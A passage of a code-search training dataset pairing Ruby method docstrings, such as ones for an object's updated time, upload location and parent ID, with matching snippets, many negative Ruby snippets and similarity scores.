"0.6920783",
"0.6920783",
"0.6920783",
"0.6920783",
"0.6920783"
] |
0.72036725
|
52
|
The time at which the object was updated.
|
def updated_time
Time.parse(object["updated_time"]) if object["updated_time"]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_updated\n self.dig_for_datetime(\"lastUpdateOn\")\n end",
"def last_updated\n\t\tupdated_at\n\tend",
"def last_updated_time\n data[:last_updated_time]\n end",
"def updated_at\n Time.at @updated rescue nil\n end",
"def updated_at\n dateChanged\n end",
"def modified_date_time\n return @modified_date_time\n end",
"def modified_date_time\n return @modified_date_time\n end",
"def modified_date_time\n return @modified_date_time\n end",
"def updated_at\n @gapi[\"updated\"]\n end",
"def last_update\n Time.parse(@record.SystemModstamp)\n end",
"def modified_at\n ensure_full_data!\n Time.at(@gapi[\"lastModifiedTime\"] / 1000.0)\n end",
"def date_updated\n Time.parse(@attrs['DateUpdated'])\n end",
"def date_updated\n Time.parse(@attrs['DateUpdated'])\n end",
"def updated_at\n time = instance_read(:updated_at)\n time && time.to_f.to_i\n end",
"def updated\n updated_at.utc.strftime(\"%F %T\") if updated_at\n end",
"def updated_at\n formatted_time(object.updated_at)\n end",
"def date() updated; end",
"def last_updated_at\n @last_updated_at\n end",
"def last_edited\n\t\tself.latest_update.to_date\n\tend",
"def updated_on\n updated_at\n end",
"def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"def updated_at\n I18n.l(self.__source.updated_at, format: :short)\n end",
"def updated_at\n @updated_at ||= Time.parse(@attributes['updated_at'])\n end",
"def updated_at\n @udpated_at ||=\n Utilities.utc_to_localtime(@ldap_entry[:whenchanged].first)\n end",
"def remote_last_updated_at\n require 'rexml/document'\n doc = REXML::Document.new(request('update'))\n Time.iso8601(doc.root.attributes['time'])\n end",
"def update \n update = object.updated_at\n end",
"def last_update_at\n connection.get_metric_last_update_at(@id)\n end",
"def last_edited\n self.latest_update.to_date\n end",
"def timestamp\n self[:timestamp]\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def date\n updated_at.strftime(\"%d %b %y %H:%M\")\n end",
"def modified_at\n @photo.updated.to_datetime.utc\n end",
"def last_edited_time\n begin\n $redis.hget 'last_edit:instrument', self.id\n rescue\n nil\n end\n end",
"def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"def updated\n time = self.time rescue nil\n if time && catalog_time\n [catalog_time, time].min\n elsif time\n time\n elsif catalog_time\n catalog_time\n else\n nil\n end\n end",
"def updated_at_string\n @updated_string\n end",
"def updated_at_string\n @updated_string\n end",
"def timestamp\n memoized_info[:local_timestamp]\n end",
"def last_time\n @last_time\n end",
"def status_updated_date_time\n formatted_date_time(object.status_as_of)\n end",
"def current_time\n @definition.current_time\n end",
"def current_time\r\n return @owner.timestamp.to_i - @start.to_i\r\n end",
"def updated_at\n @updated_at ||= parse_or_at(@attrs[:updated_at]) if @attrs[:updated_at]\n end",
"def mtime\n Time.at(@mtime)\n end",
"def mtime\n Time.at(@mtime)\n end",
"def current_time\n @current_time\n end",
"def updated(date_or_time = T.unsafe(nil)); end",
"def the_updated_at(format = :long)\n h.l(object.updated_at, format: format.to_sym)\n end",
"def mtime\n @attributes[:mtime]\n end",
"def last_updated\n time = self.updated_at\n if time < Time.now - (3600 * 24)\n time.strftime(\"%b %-d, %Y\")\n else\n time.strftime(\"%l:%M %p\")\n end\n end",
"def edited_at\n updated_at if @data['edited']\n end",
"def date_updated\n updated_at.strftime(\"%b %d, %Y\")\n end",
"def date; raw_changeset.time; end",
"def timestamp\n _timestamp.as_time\n end",
"def set_update_time!(time = last_modified_date)\n set_update_time(time)\n # disable_ferret\n save\n return last_updated__c\n end",
"def modified_date_time=(value)\n @modified_date_time = value\n end",
"def modified_date_time=(value)\n @modified_date_time = value\n end",
"def modified_date_time=(value)\n @modified_date_time = value\n end",
"def last_updated_at\n if cache\n @last_updated_at ||= remote_last_updated_at\n else\n remote_last_updated_at\n end\n end",
"def time_upd(hash = nil)\n self[:time] = (hash.time if hash.is_a?(Upd)) || now_msec\n verbose { ___time_text(hash ? 'Updated' : 'Generated') }\n self\n end",
"def timestamp\n _timestamp.as_time\n end",
"def updated\n DateTime.parse(@json['user']['meta']['updated'])\n end",
"def timestamp\n attribute_prop(4)\n end",
"def last_synchronize\n last_update\n end",
"def last_modified_time\n mtime\n end",
"def last_seen_date_time\n return @last_seen_date_time\n end",
"def last_seen_date_time\n return @last_seen_date_time\n end",
"def last_seen_date_time\n return @last_seen_date_time\n end",
"def sent_at\n Time.at(@changes['time'])\n end",
"def get_status_changed_at\n return @m_status_changed_at\n end",
"def time\n @time\n end",
"def last_modified\n @metadata[:last_modified] || Time.now.utc\n end"
] |
[
"0.80376065",
"0.80376065",
"0.80376065",
"0.80376065",
"0.790909",
"0.790909",
"0.790909",
"0.790909",
"0.77683574",
"0.7724907",
"0.772238",
"0.77032787",
"0.76314574",
"0.76153654",
"0.76153654",
"0.76153654",
"0.7604436",
"0.7572333",
"0.7554839",
"0.75513995",
"0.75513995",
"0.75306225",
"0.74650717",
"0.74537206",
"0.74379456",
"0.7428245",
"0.7337354",
"0.73356235",
"0.73296785",
"0.73296785",
"0.73296785",
"0.73296785",
"0.7328514",
"0.73259515",
"0.7320239",
"0.728242",
"0.7261653",
"0.7240437",
"0.72255045",
"0.7215915",
"0.7214329",
"0.7214329",
"0.7214329",
"0.7214329",
"0.7214329",
"0.7214329",
"0.7214329",
"0.7214329",
"0.7214329",
"0.7214329",
"0.7214329",
"0.7214329",
"0.7214329",
"0.7214329",
"0.71982306",
"0.71981096",
"0.71755147",
"0.7159431",
"0.71479124",
"0.71479124",
"0.71479124",
"0.71479124",
"0.71066344",
"0.70891756",
"0.70891756",
"0.707965",
"0.70595026",
"0.70467615",
"0.7031601",
"0.70257425",
"0.6980362",
"0.69801044",
"0.69801044",
"0.6972594",
"0.69575334",
"0.6956585",
"0.6951779",
"0.6947511",
"0.6942744",
"0.69181275",
"0.6910917",
"0.69003356",
"0.6891388",
"0.68889153",
"0.68889153",
"0.68889153",
"0.6876506",
"0.6857406",
"0.68353915",
"0.68297476",
"0.68239826",
"0.68232626",
"0.6822487",
"0.68174267",
"0.68174267",
"0.68174267",
"0.6795186",
"0.6788944",
"0.6787292",
"0.6778542"
] |
0.788072
|
8
|
The URL to upload file content hosted in SkyDrive.
|
def upload_location
object["upload_location"]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def upload_url\n _get(\"/files/upload_url\") { |json| json }\n end",
"def upload_file_url\n \"file://#{upload_full_path}\"\n end",
"def upload_url\n return @upload_url\n end",
"def url(options = {})\n file.path\n end",
"def url\n # HACK: Revisit and make configurable separate from the connection options.\n \"http://#{@uploader.sftp_host}/#{path}\"\n end",
"def external_download_url\n @file.external_bytestream_uri.to_s\n end",
"def upload_url\n return unless @data['image']\n # Isn't actually displayed in-app without this set\n return unless image['property'] == 'image'\n file(@data['image'])\n end",
"def file_url\n end",
"def url\n host = @uploader.ucloud_cdn_host || @uploader.ucloud_bucket_host\n return nil unless host\n [host, @path].join(\"/\")\n end",
"def url\n return nil unless @uploader.upyun_bucket_host\n\n [@uploader.upyun_bucket_host, @path].join(\"/\")\n end",
"def file_url\n resource.send(mount_point).url\n end",
"def path\n file.url\n end",
"def raw_url(file_name)\n \"ftp://#{user}@#{host}#{folder}#{file_name}\"\n end",
"def get_upload_url\n # raise 'Login first!' unless @customer_login_id\n\n response = @savon.call :get_upload_url, \n message: { 'wsdl:sessionID' => @session_id }\n \n @upload_url = response.body[:get_upload_url_response][:get_upload_url_result] \n end",
"def file_url\n file.attached? ? url_for(file) : ''\n end",
"def url\n UploadUtils.get_url(\n FilestackConfig::CDN_URL, handle: handle, security: security\n )\n end",
"def ext_url\n \"https://storage.googleapis.com#{ext_path}\"\n end",
"def upload_file(uploader, url)\n uri = URI.parse(url)\n if uri.host.nil?\n # Local, prepend url\n file = File.open(uploader.root + url)\n else\n # Add a scheme if the url is of the form \"//host.com/assets/\"\n uri.scheme = \"http\" if uri.scheme.nil?\n # Remote\n uploader.download!(uri.to_s)\n file = uploader.file\n end\n file\n end",
"def file_url\n return nil if target_item.files.empty?\n target_item.files.last.uri.to_s\n end",
"def url\n if @uploader.upyun_bucket_domain\n \"http://\" + @uploader.upyun_bucket_domain + '/' + @path\n else\n nil\n end\n end",
"def url\n @client.get_download_link(@path)\n end",
"def upload_url=(value)\n @upload_url = value\n end",
"def file_url(remote_path)\n get_adapter.file_url(remote_path)\n end",
"def storage_path\n File.join(organization.storage_path, url_part)\n end",
"def url(**options)\n file&.url(**options)\n end",
"def url\n File.join(server.url, path)\n end",
"def url_content\n\t file.url\n\tend",
"def download_url\n ActiveStorage::Current.host = Rails.application.routes.default_url_options[:host] if ActiveStorage::Current.host.blank?\n file.attached? ? file.blob.url : ''\n end",
"def url\n ::File.join \"/\", path.to_s\n end",
"def local_url\n File.join(AssetSettings[:local_assets].assets_url_prefix, file_path)\n end",
"def url(**options)\n if uploaded_file = get\n uploaded_file.url(**options)\n else\n default_url(**options)\n end\n end",
"def get_upload_url\n # raise 'Login first!' unless @customer_login_id\n\n response = @soap_client.call :get_upload_url, \n message: { 'wsdl:sessionID' => @session_id }\n \n @upload_url = response.body[:get_upload_url_response][:get_upload_url_result] \n end",
"def url\n Djatoka.resolver.region(filename).scale(1800).url\n end",
"def auth_url\n CloudFiles.const_get(\"AUTH_#{self.auth_location.upcase}\")\n end",
"def storage_path\n File.join(department.institution.storage_path, url_part)\n end",
"def url\n expiration = Time.now + 60.seconds\n fog_file.url(expiration)\n end",
"def url; \"file:#{@root}\"; end",
"def url\n File.join(\"https://#{service}.#{region}.amazonaws.com\", path)\n end",
"def file_set_url(file_set_id)\n \"https://#{ENV['SERVER_NAME']}/downloads/#{file_set_id}\"\n end",
"def storage_file_host\n ENV[\"AZURE_STORAGE_FILE_HOST\"]\n end",
"def store\n result = QcloudCos.upload(path, file.to_file)\n\n if result != nil\n self.url = result\n end\n end",
"def file_url(uid, info = {}, content_type: nil, content_disposition: nil, **options)\n options[:response_content_type] ||= content_type\n options[:response_content_disposition] ||= content_disposition\n\n object(uid).presigned_url(:get, **options)\n end",
"def url(path)\n uri, details = @api.cmd_to_url(:file_download, path: remote_file(path))\n @api.full_uri(uri, details[:params])\n end",
"def server_image_url(filename)\n uri = \"#{@api_url}/#{@project_id}/images/get_upload_url?filename=#{filename}&access_token=#{@access_token}\"\n get uri\n end",
"def url(options = {})\n if file.respond_to?(:url)\n tmp_url = file.method(:url).arity.zero? ? file.url : file.url(options)\n return tmp_url if tmp_url.present?\n end\n\n if file.respond_to?(:path)\n path = encode_path(file.path.sub(File.expand_path(root), ''))\n\n if (host = asset_host)\n if host.respond_to? :call\n \"#{host.call(file)}#{path}\"\n else\n \"#{host}#{path}\"\n end\n else\n (base_path || \"\") + path\n end\n end\n end",
"def download_path\n if self.upload_file_name.nil?\n self.human_fastq_url\n else\n if self.study.public?\n download_file_path(self.study.url_safe_name, filename: self.bucket_location)\n else\n download_private_file_path(self.study.url_safe_name, filename: self.bucket_location)\n end\n end\n end",
"def uploaded_file_path\n FileServices::Uploader.perform(@file, upload_path)\n end",
"def download_location\n self.remote_location.blank? ? File.join(self.id, self.upload_file_name) : self.remote_location\n end",
"def path_to_url(path)\n URI.encode(path =~ %r{^https?://} ? path : \"http://#{aliyun_upload_host}/#{path}\")\n end",
"def storage_url\n self.auth_response[:storage_url]\n end",
"def storage_path\n File.join(\n SystemConfiguration.first.storage_path,\n url_part)\n end",
"def download_uri\n return @download_uri\n end",
"def url\n filepath.sub( %r{\\A#{Regexp.escape (Rails.root + \"public\").to_s}}, '').to_s\n end",
"def response_uri(file)\n file.base_uri\n end",
"def upload_url(url, options = {})\n params = upload_params(options).for_url_upload(url)\n file_upload_response = request_file_upload(params)\n\n handle_response(file_upload_response)\n end",
"def aws_url_for(path, expires=nil)\n UploadHelper.aws_url_for(path, expires)\n end",
"def url\n @url ||= s3_bucket.object(key_path).presigned_url(:get,\n expires_in: 7.days.to_i,\n response_content_disposition: ApplicationHelper.encoding_safe_content_disposition(\n ImageServiceHelper.download_name(@model.work_presenter, suffix: @suffix)\n )\n )\n end",
"def host\n local_file? ? \"file://\" : split_url[1]\n end",
"def upload(file_path)\n file_name = File.basename(file_path)\n object = @bucket.objects[file_name]\n object.write(:file => file_path)\n object.public_url\n end",
"def generate_api_url(workspace_bucket_id, filename)\n file = self.get_workspace_file(workspace_bucket_id, filename)\n if file\n file.api_url + '?alt=media'\n else\n ''\n end\n end",
"def raw_url(file_name)\n fail('Requires implementation')\n end",
"def url\n [\"http://\" + @uploader.couch_host + \":\" + @uploader.couch_port, model.database.name , model.id, @path].join(\"/\")\n end",
"def file_url(attachment_name, style=nil); file_path(attachment_name, style); end",
"def url\n @url ||= GeoIQ.base_uri + \"#{path}.json\"\n end",
"def fs(path)\n OodAppkit.files.url(path: path).to_s\n end",
"def fileUri(f)\n \"file://\" + f.gsub(\" \", \"%20\")\nend",
"def file_uri_user\n File.absolute_path?(Rails.configuration.storagePath) ? download_url + \"&dmode=emb\" : DocumentHelper.get_file_uri(@file_name, false)\n end",
"def extract_url(resource)\n rails_blob_path(resource, disposition: 'attachment', only_path: true)\n end",
"def url(path)\n \"#{self.api_root}/#{self.api_version}/#{self.tenancy_code}/#{path}\"\n end",
"def url\n storage.url_for(path_with_query)\n end",
"def direct_s3_presigned_url\n Stash::Aws::S3.presigned_download_url(s3_key: \"#{resource.s3_dir_name(type: 'supplemental')}/#{upload_file_name}\")\n end",
"def temp_upload_url(object_key, temp_url_key, expires_at = Time.now.to_i + 60)\n private_url(\"PUT\", object_key, temp_url_key, expires_at)\n end",
"def github_url\n GITHUB_ARTICLES_URL + file_name\n end",
"def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {})\n raise NotImplementedError\n end",
"def scope_url\n File.dirname(@url)\n end",
"def submit_file_by_url(**options)\n post_request(\"/submit/url-to-file\", options)\n end",
"def submit_file_by_url(**options)\n post_request(\"/submit/url-to-file\", options)\n end",
"def bot_urlroot\n return '/user-upload/dll/'\n end",
"def target_url\n \"#{self.transfer.target_url}/people.xml\"\n end",
"def ext_path\n path = \"/#{@bucket_name}\"\n path += \"/#{String(@file_name)}\" if @file_name && !@file_name.empty?\n Addressable::URI.escape path\n end",
"def path\n \"/#{UPLOAD_DIR}/#{filename}\"\n end",
"def file_url(context, inline, generate_event = true)\n if challenge_file?\n token = CHALLENGE_BOT_TOKEN\n result = DNAnexusAPI.new(CHALLENGE_BOT_TOKEN).call(\n \"system\",\n \"describeDataObjects\",\n objects: [dxid],\n )[\"results\"][0]\n project = result[\"describe\"][\"project\"]\n else\n token = context.token\n project = self.project\n end\n\n opts = {\n project: project,\n preauthenticated: true,\n filename: name,\n duration: 86_400,\n }\n inline_attribute = inline.present? ? \"?inline\" : \"\"\n\n api = DNAnexusAPI.new(token)\n url = api.file_download(dxid, opts)[\"url\"] + inline_attribute\n Event::FileDownloaded.create_for(self, context.user) if generate_event\n\n url\n end",
"def url\n Blobs::URI.blob(container.name, name)\n end",
"def upload_file\n #TODO\n end",
"def url\n File.join(DigitalRiver.config.oauth_url)\n end",
"def bucket_location\n self.remote_location.blank? ? self.upload_file_name : self.remote_location\n end",
"def upload_full_path\n @upload_full_path ||= File.join(@upload_file_path, name)\n end",
"def url\n return @url unless @url.nil?\n @url = destination.sub(::Webby.site.output_dir, '')\n end",
"def url\n File.join(DigitalRiver.config.oauth_url)\n end",
"def download_path(file)\n\t\tif self.study.public?\n\t\t\tdownload_file_path(self.study.url_safe_name, filename: file)\n\t\telse\n\t\t\tdownload_private_file_path(self.study.url_safe_name, filename: file)\n\t\tend\n\tend",
"def base_url\n File.join(host, path)\n end",
"def download_path(file)\n if self.study.public?\n download_file_path(accession: self.study.accession, study_name: self.study.url_safe_name, filename: file)\n else\n download_private_file_path(accession: self.study.accession, study_name: self.study.url_safe_name, filename: file)\n end\n end",
"def file_uri_scheme; end",
"def download_url(is_serverUrl=true)\n DocumentHelper.get_download_url(@file_name, is_serverUrl)\n end",
"def path\n http_url RDoc::RDoc.current.generator.file_dir\n end",
"def attachment_path\n return unless attachment.attached?\n\n attachment.service_url\n end",
"def url\n [ Configuration.url, @path ].join\n end",
"def file_url(filename)\n raw_url = git_repository_url[0..-5]\n \"#{raw_url}/blob/#{git_commit_sha}/#{filename}\"\n end",
"def neofiles_file_url(*args)\n neofiles_cdn_prefix(*args) + neofiles_file_path(*args)\n end",
"def gs_url(filename)\n\t\tif self.has_file?(filename)\n\t\t\t\"gs://#{self.study.bucket_id}/#{filename}\"\n\t\tend\n\tend"
] |
[
"0.7733416",
"0.7473084",
"0.6985415",
"0.6868772",
"0.68108034",
"0.6632666",
"0.6608102",
"0.65956056",
"0.656736",
"0.6517776",
"0.651212",
"0.65063006",
"0.64031494",
"0.6385629",
"0.6367889",
"0.6348614",
"0.634589",
"0.63363487",
"0.6320607",
"0.6316237",
"0.6272327",
"0.62585706",
"0.6256395",
"0.6250925",
"0.6234311",
"0.6227616",
"0.6190472",
"0.61900896",
"0.617626",
"0.61743504",
"0.61111385",
"0.6109467",
"0.6104217",
"0.60744494",
"0.6072633",
"0.6064056",
"0.60494703",
"0.6045893",
"0.602319",
"0.59892064",
"0.59622395",
"0.5941838",
"0.59274006",
"0.59204096",
"0.59146494",
"0.591147",
"0.5905471",
"0.59014666",
"0.5876355",
"0.58571506",
"0.5848586",
"0.58473855",
"0.58190143",
"0.5818973",
"0.5812774",
"0.58107114",
"0.581063",
"0.57940996",
"0.5783296",
"0.5782223",
"0.57729745",
"0.5748076",
"0.57358307",
"0.57334024",
"0.5731629",
"0.57206655",
"0.5719217",
"0.5718137",
"0.5694862",
"0.56907636",
"0.56707877",
"0.56695914",
"0.5664738",
"0.5661762",
"0.56454515",
"0.5639771",
"0.5639771",
"0.56387824",
"0.5638324",
"0.5626575",
"0.56213045",
"0.56107223",
"0.56036675",
"0.55988914",
"0.5597216",
"0.5595181",
"0.55949926",
"0.55916554",
"0.55885845",
"0.55879056",
"0.55832714",
"0.5578092",
"0.5574342",
"0.5573828",
"0.5560467",
"0.5554484",
"0.555387",
"0.55499274",
"0.55428964",
"0.55402726"
] |
0.56547415
|
74
|
The ID of the parent object
|
def parent_id
object["parent_id"]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parent_id\r\n return nil unless ar_object\r\n ar_object[ar_p]\r\n end",
"def parent_id\n self.parent._id.to_s\n end",
"def _parent_id\n send parent_column_name\n end",
"def parent_id\n data[:parent_id]\n end",
"def parent_id\n parent_ids.last\n end",
"def parent_id\n self[self.nested_set_options[:parent_column]]\n end",
"def parent_id\n @values.fetch('ai.operation.parentId') { \n @values['ai.operation.parentId'] = nil\n }\n end",
"def parent_id_name\n \"#{@parent.class.name.downcase}_id\"\n end",
"def parent_id(target = self)\n target[parent_column_name]\n end",
"def parent\n self.class.find_by_id(self.parent_id) unless self.parent_id.nil?\n end",
"def parent_id\n\n h.parent_id ?\n Ruote::FlowExpressionId.new(h.parent_id) :\n nil\n end",
"def parent\n o = Object.const_get(parent_model) rescue nil\n o && o.get(parent_id)\n end",
"def parent_id\n return @values['ai.operation.parentId'] if @values.key?('ai.operation.parentId')\n @defaults['ai.operation.parentId']\n end",
"def nested_object_id\n is_nested && object.respond_to?(:new_record?) && !object.new_record? && object.id\n end",
"def parent\n tree.parent_for(parent_id).first\n end",
"def parent\n @parent\n end",
"def parent\n @parent\n end",
"def parent\n @parent\n end",
"def parent\n @parent\n end",
"def parent_id\n self.tagvalues[\"is_a\"].first\n end",
"def parent\n owner\n end",
"def child_id\n\n fei.child_id\n end",
"def parent\n if parent_id.blank? then nil else unscoped_find(parent_id) end\n end",
"def parent\n _parent\n end",
"def get_parent_id()\n self.account_id\n end",
"def id\n object.id.to_i\n end",
"def getId()\n @obj.getId()\n end",
"def parent\n @parent\n end",
"def parent\n @parent\n end",
"def parent\n return @parent\n end",
"def parent_field_id\n return '' unless @field_config[:parent_field]\n\n \"#{@field_config[:parent_field]}_\"\n end",
"def id\n object.id.to_s\n end",
"def parent\n if @resource[:parent] =~ /^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}$/\n gindex = $ngs.index { |i| i['id'] == @resource[:parent] }\n $ngs[gindex]['id']\n else\n @property_hash[:parent]\n end\n end",
"def __id; @id || @obj.id; end",
"def parent_foreign_key\n @parent_hierarchy_relationship.foreign_key\n end",
"def id\n object.object_id\n end",
"def parent_job_id\n @gapi.statistics.parent_job_id\n end",
"def identifier\n children[0]\n end",
"def identifier\n children[0]\n end",
"def identifier\n children[0]\n end",
"def parent_process_id\n return @parent_process_id\n end",
"def parent_id\n @path.split('/').last if @path\n end",
"def parent\n DataStore::Base.find(identifier: identifier)\n end",
"def parent\n dataset.nested.filter(self.primary_key => self.parent_id).first if self.parent_id\n end",
"def id\n object_id\n end",
"def query_parent_id\n @attributes[:query_parent_id]\n end",
"def parent\n\t\tself.residue_at_position(@parent_position)\n\tend",
"def parent(id)\n if id != @h[id]\n @h[id] = parent(@h[id])\n else\n id\n end\n end",
"def id\n object.id\n end",
"def id\n object.id\n end",
"def parent_folder_id\n return @parent_folder_id\n end",
"def parent_object\n # hack by sean to allow permalink parents\n parent? && !parent_singleton? ? parent_model_find(parent_param) : nil\n end",
"def parent\n\n h.parent_id ?\n Ruote::Exp::FlowExpression.fetch(@context, h.parent_id) :\n nil\n end",
"def parent\n @parent ||= @parent_id ? @book.find_account_by_id(@parent_id) : nil\n end",
"def parent_object\n @parent_object ||= parent? && !parent_singleton? ? parent_model.find(parent_param) : nil\n end",
"def get_parent_id()\r\n result = nil\r\n if @coll_id #if coll_id is false, than collection_service is used by environment so no parent\r\n info = Transformer::KeyBuilder.collection_info(@env_id, @coll_id)\r\n result = @db_interface.get_hash_value(info, Transformer::KeyBuilder::PARENT_ID_KEY)\r\n end\r\n return result\r\n end",
"def js_id\n @js_id ||= parent.nil? ? @item_id : [parent.js_id, @item_id].join('__')\n end",
"def __object_unique_id__\n return 0 if self.deleted?\n return self.id\n end",
"def object_id\n object.object_id\n end",
"def parent_object\n if has_parent?\n actual_class = parent_class_name.camelize.constantize\n actual_class.find(parent_id)\n else\n nil\n end\n end",
"def parent\n nil\n end",
"def parent_of_comment_id\r\n @place.id\r\n end",
"def parent\n self\n end",
"def parent_id=(value)\n if value == @defaults['ai.operation.parentId']\n @values.delete 'ai.operation.parentId' if @values.key? 'ai.operation.parentId'\n else\n @values['ai.operation.parentId'] = value\n end\n end",
"def parent_id=(value)\n if value == @defaults['ai.operation.parentId']\n @values.delete 'ai.operation.parentId' if @values.key? 'ai.operation.parentId'\n else\n @values['ai.operation.parentId'] = value\n end\n end",
"def parent_id=(value)\n self[self.nested_set_options[:parent_column]] = value\n end",
"def parent\n @parent ||= new_or_create? ? find_parent_by_id : lookup_parent_from_child\n end",
"def privacy_object_id\r\n\t\t\treturn self.id\r\n\t\tend",
"def object_id() end",
"def id\n self[:id]\n end",
"def getId()\n\t\t\treturn @_id\n\t\tend",
"def get_parent_object\n nil\n end",
"def parent(node_id)\n node_id >> 1 # node_id / 2\n end",
"def parent_param\n params[\"#{parent_type}_id\".to_sym]\n end",
"def _id\n @id\n end",
"def id\n __id\n end",
"def parent_param\n params[\"#{parent_type}_id\".to_sym]\n end",
"def parent\n @parent || NullResource.new\n end",
"def id\n object.external_id\n end",
"def id\n @properties[self.class.primary_key].to_i unless new_record?\n end",
"def relist_parent_id\n item_hash.deep_find(:relist_parent_id)\n end",
"def id\n object[\"id\"]\n end",
"def id\n raise Errno::ENOENT, \"This object has been deleted.\" if self.deleted?\n raise \"No ID on object.\" if !@id\n return @id\n end",
"def id\n @obj['id']\n end",
"def parent?(id)\n self.parent_id == id\n end",
"def find_parent_by\n self.class.find_parent_by || :id\n end",
"def parent\n self\n end",
"def id\n self[:id]\n end",
"def id\n self.Id\n end",
"def get_id(node)\n node.parent.parent.attributes[\"id\"].value\n end",
"def rails_id\n self.object.id\n end",
"def attachment_path_id\n ((respond_to?(:parent_id) && parent_id) || id).to_i\n end",
"def parent_list\n self.parent_lists[0]\n end",
"def id\n self[:identifier]\n end",
"def _parent; end",
"def parent_key\n return @parent_key if defined?(@parent_key)\n\n repository_name = parent_repository_name || child_repository_name\n properties = parent_model.properties(repository_name)\n\n @parent_key = if @parent_properties\n parent_key = properties.values_at(*@parent_properties)\n properties.class.new(parent_key).freeze\n else\n properties.key\n end\n end",
"def get_parent\n note = self\n return Note.first(:id=>note.parent)\n end",
"def parent\n send(parent_type)\n end",
"def parent\n self.class.find_in_nested_set(self[parent_col_name]) if self[parent_col_name]\n end",
"def parent\n User.find(self.user_id)\n end"
] |
[
"0.8498718",
"0.8495141",
"0.8245423",
"0.8177195",
"0.8089715",
"0.80414903",
"0.79242724",
"0.78445953",
"0.78422195",
"0.77200943",
"0.76173955",
"0.7470717",
"0.7443227",
"0.7436425",
"0.74091744",
"0.73936594",
"0.73936594",
"0.73936594",
"0.73936594",
"0.73807096",
"0.73790437",
"0.73459333",
"0.73240787",
"0.73179257",
"0.73150235",
"0.7314859",
"0.7312415",
"0.73086023",
"0.73086023",
"0.72687554",
"0.7240791",
"0.72320133",
"0.7229979",
"0.7223786",
"0.7220573",
"0.72135806",
"0.7210679",
"0.72050244",
"0.72050244",
"0.72050244",
"0.72002566",
"0.7183111",
"0.7179866",
"0.7156063",
"0.71456367",
"0.7125256",
"0.7111",
"0.7100739",
"0.70880705",
"0.70880705",
"0.707635",
"0.7071341",
"0.7064179",
"0.7060326",
"0.70541",
"0.7052801",
"0.70442414",
"0.7039879",
"0.7028422",
"0.7013095",
"0.70101255",
"0.7009484",
"0.70056325",
"0.69974834",
"0.69974834",
"0.6990696",
"0.6981273",
"0.6976885",
"0.69752425",
"0.6972096",
"0.6971077",
"0.69641364",
"0.694343",
"0.69418013",
"0.69361097",
"0.6935975",
"0.69349706",
"0.69259167",
"0.6918709",
"0.6913709",
"0.69065386",
"0.6890097",
"0.68882686",
"0.68870836",
"0.68862903",
"0.6882732",
"0.6881631",
"0.6877984",
"0.6870648",
"0.68682766",
"0.6866352",
"0.6812573",
"0.68100107",
"0.68088025",
"0.68013173",
"0.6793606",
"0.6791781",
"0.67873335",
"0.67864835",
"0.6785758"
] |
0.86632013
|
0
|
The object that contains permission info.
|
def shared_with
object["shared_with"]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def permissions = {}",
"def permission\n Ricer::Irc::Permission.by_permission(self.permissions, authenticated?)\n end",
"def permission\n return @children['permission'][:value]\n end",
"def one_object_perm privilege, obj\n Permission.new( :privilege => privilege,\n :class_name => obj.class.name,\n :is_grant => false,\n :has_grant_option => false,\n :target_owned_by_self => false,\n :target => obj\n )\n \n end",
"def permissions\n read_attribute(:permissions) || {}\n end",
"def permission_set\n @attributes[:permission_set]\n end",
"def permissions\n @attributes[:permissions]\n end",
"def permissions\n @attributes[:permissions]\n end",
"def permissions\n return @permissions\n end",
"def permissions\n objects_from_response(Code42::Permission, :get, 'permission')\n end",
"def permission_proxy\n @authorizable_permission_proxy ||= Authorizable::Proxy.new(self)\n end",
"def restapi_permission\n @attributes[:restapi_permission]\n end",
"def required_permission\n #\n # return the permission record if we have the Permission model\n #\n @required_permission ||= defined?(Permission) ? wulin_permits_required_permission : OpenStruct.new(name: [controller_name, action_name].join(\"#\"))\n end",
"def permission_classification\n return @permission_classification\n end",
"def new\n @permission = Permission.new\n end",
"def permission_scheme\n # Get the permission scheme class variable\n class_variables.include?('@@permission_scheme') ? class_variable_get(:@@permission_scheme) : {}\n end",
"def getAccessInfo()\n @accessInfo\n end",
"def permissions_hash\n @permissions_hash = permissions.hash\n end",
"def permissions\n @resource_permissions\n end",
"def grant_permission\n @attributes[:grant_permission]\n end",
"def permissions\n attribute_prop(5)\n end",
"def role\n permission_type\n end",
